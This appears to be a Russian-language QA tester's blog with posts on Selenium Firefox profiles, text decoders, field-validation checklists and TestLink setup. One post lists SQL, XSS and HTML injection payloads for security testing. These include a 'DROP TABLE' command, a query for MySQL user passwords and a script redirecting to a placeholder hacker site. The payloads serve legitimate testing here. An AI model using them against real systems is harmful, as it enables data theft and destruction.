четверг, 27 июня 2013 г.

Selenium: Запуск браузера Firefox с настроенным профилем

      При запуске браузера Firefox вебдрайвер каждый раз создает новый профиль с настройками по умолчанию. Но если для выполнения теста нужно подключить какие-нибудь плагины или, например, настроить параметры proxy? Существует как минимум две возможности это сделать:
  •  все необходимы настройки свойств браузера (preferences) можно сделать в коде тестов;
  •  можно запустить Firefox с заранее настроенным профилем.

      Настройка свойств браузера в коде теста

      Список настраиваемых свойств и их названия можно узнать, набрав в адресной строке браузера специальный адрес about:config, а также в базе знаний Mozilla.

      Установка свойства браузера выполняется с помощью метода setPreference для профайла:
      profile.setPreference(свойство, значение_свойства);

      В коде теста это будет выглядеть так:
      import org.openqa.selenium.*
      import org.openqa.selenium.firefox.* 

      profile = new FirefoxProfile();
      profile.setPreference("capability.policy.default.Window.frameElement", "allAccess");
      driver = new FirefoxDriver(profile);

      Запуск Firefox с заранее настроенным профилем

      Не все настройки браузера можно изменить через интерфейс Selenium. Если все же необходимо запустить Firefox с модифицированными настройками или нужными сертификатами безопасности, то можно заранее подготовить профиль с необходимыми настройки и указывать его в тесте при запуске браузера.

      Подготовка профиля Firefox

  • Закрыть все запущенные приложения Firefox
  • Запустить командную строку Run(Выполнить) и выполнить: firefox.exe –p
  • Создать новый профайл, назвать его Webdriver
  • Запустить браузер пользователем Webdriver и настроить необходимые параметры браузера

      Код для запуска браузера с выбранным профилем

      import org.openqa.selenium.firefox.FirefoxDriver;
      import org.openqa.selenium.firefox.FirefoxProfile;
      import org.openqa.selenium.firefox.internal.ProfilesIni;
       …
      FirefoxProfile profile = new ProfilesIni().getProfile("Webdriver");
      driver = new FirefoxDriver(profile);

среда, 26 июня 2013 г.

Совет по выбору декодера

      Периодически каждый, кто работает с компьютером, сталкивается с текстами в непонятной кодировке: то сообщение об ошибке выводится непонятными символами, то в тексте письма сплошная абракадабра… К счастью, сейчас в интернете можно найти множество самых разных декодеров текста. Одни из них более удобны в использовании, другие же совершенно неудобные и непонятные.

      Какие у меня основные требования к декодеру?
  • исходный текст и результат должны располагаться рядом на одной странице (без каких-либо переходов и всякой «анимации»;
  • вид кодировки должен определяться автоматически или должны присутствовать подсказки для выбора кодировки;
  • для меня чаще всего нужно декодировать текст на русском языке, поэтому декодер обязательно должен корректно работать именно с кириллицей;
  • раскодированный текст можно копировать просто с помощью Ctrl+C (результаты в виде txt- или doc-файлов для скачивания совершенно неудобны!);
  • после декодирования должна указываться исходная кодировка;
  • можно выбирать кодировку для отображения результата декодирования.

      С учетом этих требований для себя я выбрала Универсальный декодер кириллицы.
      Самый удобный декодер. Советую! :)

среда, 19 июня 2013 г.

Чит-листы для проверки XSS, SQL- и HTML-инъекций

SQL-инъекции кавычка '
OR '1'='1'
' or '1'='1' -- '
' or '1'='1' ({ '
' or '1'='1' /* '
12345) AND 1=1--:hash
SELECT user(); или SELECT system_user();
SELECT host, user, password FROM mysql.user;
SELECT database()
DROP TABLE user;


XSS <script>alert("xss-injection!")</script>
<script>document.getElementByID("...").disabled=true</script>
<script>window.parent.location.href='http://hacker_site';</script>
<img src=javascript:alert('xss-injection!')>
<input onclick="javascript:alert('xss-injection');">
<b onmouseover="alert('xss-injection!')">Hello</b>


HTML-инъекции </body>
<textarea />
<input></input>
<form action="http://google.com"><input type="submit"></form>

вторник, 18 июня 2013 г.

Чит-лист для проверки поиска

Номер Проверка
1 Пустое поисковое поле
2 Язык: русский, английский, другой
3 Одно слово
4 Строгое соответствие
5 Морфологический поиск (дорогу, дороге)
6 Поиск по фразе (два и более слов)
7 Поиск по фразе: И или ИЛИ
8 Поиск по цифрам
9 Использование символов (?, *, ', ", .*, =, ++)
10 Поиск с учетом порядка слов (дальняя дорога, дорога дальняя)
11 Е и Ё
12 Текст в другой кодировке
13 Проверка допустимой длины поля поиска

понедельник, 17 июня 2013 г.

Чит-лист для проверки поля email

Номер Проверка Ожидаемый результат
1 Пустое поле email Сообщение о незаполненном поле email
2 Email в нижнем регистре Значение поля принимается
3 Email в верхнем регистре Значение поля принимается
4 Email с цифрами в имени пользователя Значение поля принимается
5 Email с цифрами в доменной части Значение поля принимается
6 Email с дефисом в имени пользователя Значение поля принимается
7 Email с дефисом в доменной части Значение поля принимается
8 Email со знаком подчеркивания в имени пользователя Значение поля принимается
9 Email со знаком подчеркивания в доменной части Значение поля принимается
10 Email с точками в имени пользователя Значение поля принимается
11 Email с несколькими точками в доменной части Значение поля принимается
12 Email без точек в доменной части Сообщение о некорректном email
13 Превышение длины email (>320 символов) Сообщение о некорректном email
14 Отсутствие @ в email Сообщение о некорректном email
15 Email с пробелами в имени пользователя Сообщение о некорректном email
16 Email с пробелами в доменной части Сообщение о некорректном email
17 Email без имени пользователя Сообщение о некорректном email
18 Email без доменной части Сообщение о некорректном email
19 Некорректный домен первого уровня (допустимо 2-6 букв после точки: .ru) Сообщение о некорректном email
20 Email с кириллическим доменным именем (login@домен.рф) ?

пятница, 14 июня 2013 г.

Чит-лист для проверки числового поля

Номер Проверка
1 Пустое поле
2 Корректное значение
3 Граничные значения
4 Отрицательные числа
5 Числа со знаком +
6 Дробные числа с разделителем "точка"
7 Дробные числа с разделителем "запятая"
8 Не должны приниматься буквы
9 Не должны приниматься спецсимволы
10 Научная запись чисел, например: 1Е-13
11 В шестнадцатеричной системе счисления, например: F8

четверг, 13 июня 2013 г.

Чит-лист для проверки текстового поля

Номер Проверка
1 Пустое поле
2 Текст на латинице
3 Текст на кириллице
4 Текст в верхнем регистре
5 Текст в нижнем регистре
6 Текст в верхнем и нижнем регистрах
7 Спец. символы: ~`!@#$%^&*()_+?:"{}[];’
8 Цифры
9 Длинные строки: 255, 256, 257, 1000, 1024, 2000, 2048 или более знаков
10 Пробелы
11 Строка, начинающаяся и заканчивающаяся с пробелов
12 Буквы других алфавитов: ö, ä, β и т.п.
13 Символы: ▲♦♥

понедельник, 3 июня 2013 г.

Testlink. Дополнительные возможности

      1. TestLink имеет встроенную поддержку рассылки уведомлений и отчетов с помощью e-mail. Настраивается в конфигурационных файлах.

      2. Внешний вид TestLink можно менять, написав собственные CSS и поместив их в директорию gui/themes/your_theme/:
  • testlink.css (main style definition)
  • tl_print.css (specific settings for printing of pages)
  • tl_documents.css (used for generated documents; for example Test Specification)
  • tl_treemenu.css (specific settings for tree menu) 


                                              
       Другие статьи о Testlink:


Testlink. Связь с багтрекером

      Testlink позволяет связывать тесты с багами в багтрекере. Для включения этой возможности нужно изменить параметр в конфигурационном файле custom_config.inc.php. По умолчанию этот интерфейс заблокирован (значение 'NO').
      У нас в качестве бактрекинговой системы используется Redmine, поэтому указываем $g_interface_bugs = 'REDMINE';
      Затем в файле /cfg/redmine.cfg.php указываем необходимые параметры соединения с БД багтрекера:
            define('BUG_TRACK_DB_HOST', 'localhost');
            define('BUG_TRACK_DB_NAME', 'tracker');
            define('BUG_TRACK_DB_CHARSET', 'UTF-8');
            define('BUG_TRACK_DB_TYPE','mysql');
            define('BUG_TRACK_DB_USER', 'admin');
            define('BUG_TRACK_DB_PASS', 'password');

      После этого при прогоне тестов для выполненных тестов будет возможность добавления бага.

      Есть возможность перейти в трекер для заведения нового бага или можно указать номер уже созданного бага. Я предпочитаю сначала заносить баг в трекер, а в Testlink только указать его номер.
 

      После этого список добавленных багов отображается на странице прогона теста ниже области результатов прогона. Для бага отображается статус в трекере и название, которые автоматически берутся из багтрекера .



                                              
       Другие статьи о Testlink: